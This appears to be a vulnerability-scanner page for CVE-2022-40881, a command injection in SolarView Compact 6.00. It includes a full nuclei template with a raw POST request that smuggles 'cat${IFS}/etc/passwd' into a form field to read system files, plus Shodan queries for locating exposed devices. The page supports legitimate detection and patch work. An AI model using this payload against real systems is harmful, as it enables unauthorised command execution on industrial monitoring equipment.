SolarView 6.00 - Remote Command Execution

criticalseverity

9.8CVSS score

31.4%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

SolarView Compact 6.00 is vulnerable to a command injection via network_test.php.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.

Fix

Apply the latest patch or upgrade to a non-vulnerable version of SolarView.

How to confirm it

Send: POST /network_test.php
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-40881 -u <target>

The full check

id: CVE-2022-40881

info:
  name: SolarView 6.00 - Remote Command Execution
  author: For3stCo1d
  severity: critical
  description: |
    SolarView Compact 6.00 is vulnerable to a command injection via network_test.php.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
  remediation: |
    Apply the latest patch or upgrade to a non-vulnerable version of SolarView.
  reference:
    - https://github.com/Timorlover/SolarView_Compact_6.0_rce_via_network_test.php
    - https://github.com/advisories/GHSA-wx3r-88rg-whxq
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40881
    - https://github.com/KayCHENvip/vulnerability-poc
    - https://github.com/Threekiii/Awesome-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-40881
    cwe-id: CWE-77
    epss-score: 0.31415
    epss-percentile: 0.98295
    cpe: cpe:2.3:h:contec:solarview_compact:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: contec
    product: solarview_compact
    shodan-query:
      - http.favicon.hash:"-244067125"
      - cpe:"cpe:2.3:h:contec:solarview_compact"
  tags: cve,cve2022,solarview,rce,lfi,contec,vkev,vuln
variables:
  cmd: "cat${IFS}/etc/passwd"

http:
  - raw:
      - |
        POST /network_test.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        host=%0a{{cmd}}%0a&command=ping

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from